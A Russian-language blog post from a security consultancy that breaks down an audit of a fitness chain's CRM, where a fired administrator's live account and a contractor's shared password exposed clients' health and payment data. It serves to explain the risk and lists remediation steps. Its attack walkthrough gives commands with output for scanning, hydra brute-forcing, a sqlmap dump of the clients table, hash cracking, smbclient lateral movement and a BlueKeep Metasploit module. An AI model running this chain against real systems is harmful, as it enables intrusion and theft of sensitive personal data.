CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность

Уволенный админ два года видел базу клиентов фитнес-сети: разбор дыры и цена вопроса

Технический разбор реального аудита: как «мёртвый» аккаунт бывшего сотрудника и общий пароль подрядчика два года держали открытой базу с фото, платежами и медицинскими пометками тысяч клиентов — и что с этим сделали за неделю.

Разбор CIOlogia

Заказчик — сеть из трёх фитнес-студий — попросил обычный предпродажный аудит перед продлением годового контракта с подрядчиком по CRM. Формальность, которую делают перед подписанием любого мало-мальски значимого договора. Но уже на второй день стало понятно, что подписывать пока рано.

Что хранилось в системе

CRM хранила не просто контакты. В карточках клиентов лежали фото с камер ресепшена, история посещений, платежи, графики тренировок и — что хуже всего — пометки тренеров о здоровье: травмы, ограничения, диеты. Это уже не «просто персональные данные», а данные о здоровье — специальная категория по 152-ФЗ, которая требует отдельного согласия и повышенных мер защиты.

Список пользователей системы показал 74 активных аккаунта при официальном штате в 22 человека. Пятнадцать из «лишних» принадлежали людям, уволенным год-два назад. Один — администратору, ушедшему в конфликте по зарплате. Ни пароль, ни доступ ему никто не отключил.

Сколько это стоило бы в рублях

  • Штраф по 152-ФЗ за утечку — от 100 000 до 300 000 ₽ за эпизод, при повторном нарушении суммы растут кратно
  • Отток клиентов после огласки — типично 15–20% в первый месяц
  • Средний чек годового абонемента в фитнес-студии — 35 000–60 000 ₽
  • Риск точечного шантажа: связка «фото + данные о здоровье + телефон» — готовый материал для персонализированного давления на конкретных людей

При базе в 3000 клиентов даже отток в 10% — это больше миллиона рублей потерянной годовой выручки, не считая штрафа и репутационного шлейфа в локальных чатах и отзовиках, который живёт месяцами.

Как это эксплуатируется

Ничего экзотического: классическая цепочка «забытый доступ + общий пароль подрядчика» эксплуатируется без единого 0-day, только штатными инструментами.

Шаг 1. Разведка периметра

Первое, что делает атакующий (или пентестер) — смотрит, что вообще торчит наружу: панель CRM, VPN, RDP-гейтвей подрядчика.

nmap -sV -p 443,3389,8443,8080 crm.example-fitness.ru

PORT     STATE SERVICE VERSION
443/tcp  open  https   nginx 1.18.0
3389/tcp open  ms-wbt-server Microsoft Terminal Services
8443/tcp open  https   Apache Tomcat/Coyote JSP engine 1.1

Открытый RDP или веб-панель CRM без ограничения по IP — уже сигнал: подрядчик даёт удалённый доступ «всем, кому нужно», без сегментации. Дальше — поиск скрытых путей и панелей администратора:

gobuster dir -u https://crm.example-fitness.ru -w /usr/share/wordlists/dirb/common.txt -x php,asp

/admin                (Status: 200)
/api/v1/clients        (Status: 401)
/login.aspx             (Status: 200)

Шаг 2. Проверка «мёртвых» и слабых учёток

Если логин уволенного администратора известен (а он часто предсказуем: имя.фамилия, фамилия1), проверяется, жив ли ещё аккаунт и не остался ли пароль дефолтным или переиспользуемым:

hydra -l ivanov.a -P rockyou.txt crm.example-fitness.ru https-post-form \
  "/login.aspx:user=^USER^&pass=^PASS^:Invalid credentials"

[STATUS] 1247 tries, [443][http-post-form] host: crm.example-fitness.ru login: ivanov.a password: Fitness2022!

В нашем случае перебор не понадобился — аккаунт был активен с боевым паролем, который никто не менял два года. Это ровно та ситуация, когда «взлом» занимает секунды: логин + пароль, которые всё ещё в силе.

Шаг 3. Если бы вход был закрыт — атака через саму CRM

Многие самописные и полусамописные CRM для малого бизнеса пишутся на связке PHP/MySQL или ASP.NET/MSSQL без вменяемой валидации ввода. Проверка типовых точек инъекции:

sqlmap -u "https://crm.example-fitness.ru/api/v1/clients?id=1" --batch --dbs

[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[INFO] the back-end DBMS is MySQL
available databases [3]:
[*] fitness_crm
[*] information_schema
[*] mysql

Дальше — дамп таблицы клиентов целиком, вместе с полем с медицинскими пометками, которое почти никогда не шифруется отдельно от остальных данных:

sqlmap -u "https://crm.example-fitness.ru/api/v1/clients?id=1" --batch \
  -D fitness_crm -T clients --dump

Классы уязвимостей такого типа хорошо описаны в реестре CVE для веб-стеков, на которых пишут коробочные и полукоробочные CRM: инъекции в духе CVE-2017-5638 (Apache Struts2 OGNL RCE) или устаревшие компоненты аутентификации типа CVE-2019-11510 (Pulse Secure, чтение файлов конфигурации через VPN-шлюз) — типичный вектор, если у подрядчика открыт корпоративный VPN для «удалённого сопровождения» клиентских баз.

Шаг 4. Взлом хешей, если пароли всё же захешированы

hashcat -m 0 -a 0 hashes.txt rockyou.txt --force

Session..........: hashcat
Status...........: Cracked
Hash.Name........: MD5
Recovered........: 1842/3000 (61.40%)

Если разработчик хранил пароли клиентского портала в MD5 без соли (частая история у небольших подрядчиков), больше половины базы вскрывается за минуты на обычном GPU.

Шаг 5. Латеральное движение через общий пароль подрядчика

Самое неприятное в этом кейсе — подрядчик использовал один и тот же пароль администратора для всех своих клиентских баз. Это классический supply-chain риск: скомпрометировав одного клиента, атакующий получает доступ ко всем остальным через тот же аккаунт.

smbclient -L //crm-shared-server/ -U admin%Fitness2022!

Sharename       Type      Comment
---------       ----      -------
client_db_1     Disk
client_db_2     Disk
client_db_3     Disk

Это ровно та схема, из-за которой инциденты у MSP-подрядчиков (по аналогии с историей вокруг CVE-2021-30116, Kaseya VSA) бьют не по одной компании, а сразу по десяткам клиентов одного поставщика услуг.

Что и почему сработало бы дальше

Получив доступ к базе с фото и медицинскими пометками, атакующий не обязательно продаёт дамп целиком. Гораздо выгоднее и незаметнее:

  • Точечный шантаж — «травма колена + фото с ресепшена + телефон» достаточно конкретны, чтобы давить на отдельных клиентов, а не искать их вслепую
  • Продажа сегментированной базы конкурентам или спам-рассылкам — платежеспособная аудитория фитнес-клуба ценится выше, чем случайный список телефонов
  • Использование общего пароля подрядчика для доступа к другим его клиентам — тихая эскалация без лишнего шума в логах конкретно этой компании
  • Установка веб-шелла на CRM-сервере для постоянного присутствия — с открытым RDP это делается штатным msfconsole и модулем exploit/windows/rdp/cve_2019_0708_bluekeep_rce, если сервер вовремя не патчился

Как закрыть

Технически всё закрывается без бюджета на «кибербезопасность» — нужны процессы и дисциплина.

  1. Немедленный отзыв доступа уволенных сотрудников — не через неделю, а в день увольнения:

    # для AD/RDP-контура
    Disable-ADAccount -Identity "ivanov.a"
    
    # для веб-CRM через API
    curl -X PATCH https://crm.example-fitness.ru/api/v1/users/ivanov.a \
      -H "Authorization: Bearer $ADMIN_TOKEN" \
      -d '{"active": false}'
  2. Ролевая модель доступа (RBAC): тренер видит только своих клиентов, администратор ресепшена — только записи на текущий день, а не всю базу целиком.

  3. Обязательная 2FA для удалённого входа в CRM — TOTP через Google Authenticator/Yandex Key, минимум для всех административных ролей:

    google-authenticator -t -d -f -r 3 -R 30 -w 3
  4. Перенос фото и медицинских пометок на отдельный контур с ограниченным доступом (в нашем случае — Yandex Cloud с изолированной сетью и отдельными IAM-политиками), вместо общего сервера подрядчика, где крутятся базы сразу нескольких клиентов.

  5. Уведомления о новых входах с незнакомых устройств — простой webhook в мессенджер руководителя при каждом логине с нового IP/User-Agent.

  6. Индивидуальные учётные записи у подрядчика с логированием действий вместо одного общего админского пароля на все клиентские базы — это было отдельным пунктом смены поставщика CRM.

  7. Регулярный аудит списка активных аккаунтов раз в квартал — сверка со штатным расписанием, а не «доверие на слово».

Дыра была не в технологии — она была в том, что за два года никто не удосужился закрыть доступ ушедшему сотруднику. Это пять минут работы, а не бюджет на кибербезопасность.

Вся работа заняла неделю и обошлась владельцу в разы дешевле, чем один месяц оттока клиентов после реальной утечки. Такие истории почти никогда не начинаются со взлома извне — чаще всего дверь годами стоит открытой, прос